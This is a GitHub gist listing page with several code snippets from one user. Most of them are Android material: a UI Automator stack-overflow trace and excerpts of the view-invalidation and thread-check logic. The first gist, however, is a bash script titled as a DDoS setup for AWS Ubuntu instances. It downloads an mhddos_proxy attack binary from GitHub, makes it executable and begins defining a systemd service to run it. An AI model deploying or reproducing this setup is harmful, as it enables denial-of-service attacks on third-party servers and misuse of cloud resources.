Skip to content

Instantly share code, notes, and snippets.

View Dimezis's full-sized avatar
🇺🇦

Dima Saviuk Dimezis

🇺🇦
  • YNAB
  • Krakow
View GitHub Profile
@Dimezis
Dimezis / aws_ubuntu_ddos_setup.sh
Created July 22, 2022 22:05
DDOS setup for AWS ubuntu instances
#!/bin/bash
sudo apt update -y
sudo apt install --upgrade wget screen -y
cd /home/ubuntu
wget https://github.com/porthole-ascend-cinnamon/mhddos_proxy_releases/releases/latest/download/mhddos_proxy_linux
chmod +x mhddos_proxy_linux
echo '[Unit]
Description=ddos service
[Service]
@Dimezis
Dimezis / gist:bd10977b9cdf0f3a90290abf91fd9745
Created January 19, 2021 15:33
UI Automator StackTrace
Fatal Exception: java.lang.StackOverflowError: stack size 1037KB
at java.util.ArrayList.<init>(ArrayList.java:191)
at android.view.accessibility.AccessibilityNodeInfo.init(AccessibilityNodeInfo.java:3245)
at android.view.accessibility.AccessibilityNodeInfo.obtain(AccessibilityNodeInfo.java:3051)
at android.view.accessibility.AccessibilityCache.getNode(AccessibilityCache.java:231)
at android.view.accessibility.AccessibilityInteractionClient.findAccessibilityNodeInfoByAccessibilityId(AccessibilityInteractionClient.java:287)
at android.view.accessibility.AccessibilityNodeInfo.getNodeForAccessibilityId(AccessibilityNodeInfo.java:3674)
at android.view.accessibility.AccessibilityNodeInfo.getParent(AccessibilityNodeInfo.java:1620)
at androidx.test.tools.crawler.platform.uiautomator.UiAutomatorElement.computeVisibleBounds(UiAutomatorElement.java:10)
at androidx.test.tools.crawler.platform.uiautomator.UiAutomatorElement.computeVisibleBounds(UiAutomatorElem
Thread {
textView.text = "rekt"
textView.setTextColor(Color.RED)
}.start()
@Override
public void onDescendantInvalidated(@NonNull View child, @NonNull View descendant) {
if ((descendant.mPrivateFlags & PFLAG_DRAW_ANIMATION) != 0) {
mIsAnimating = true;
}
invalidate();
}
void invalidate() {
mDirty.set(0, 0, mWidth, mHeight);
@Override
public void onDescendantInvalidated(@NonNull View child, @NonNull View target) {
// ... Some flags trickery here
if (mParent != null) {
mParent.onDescendantInvalidated(this, target);
}
}
@Override
public ViewParent invalidateChildInParent(int[] location, Rect dirty) {
checkThread();
// ... Here goes the actual invalidation logic
}
void checkThread() {
if (mThread != Thread.currentThread()) {
throw new CalledFromWrongThreadException(
"Only the original thread that created a view hierarchy can touch its views.");
@Override
public final void invalidateChild(View child, final Rect dirty) {
final AttachInfo attachInfo = mAttachInfo;
if (attachInfo != null && attachInfo.mHardwareAccelerated) {
// HW accelerated fast path
onDescendantInvalidated(child, child);
return;
}
// A bunch of code here for old slow path
parent.invalidateChildInParent(location, dirty);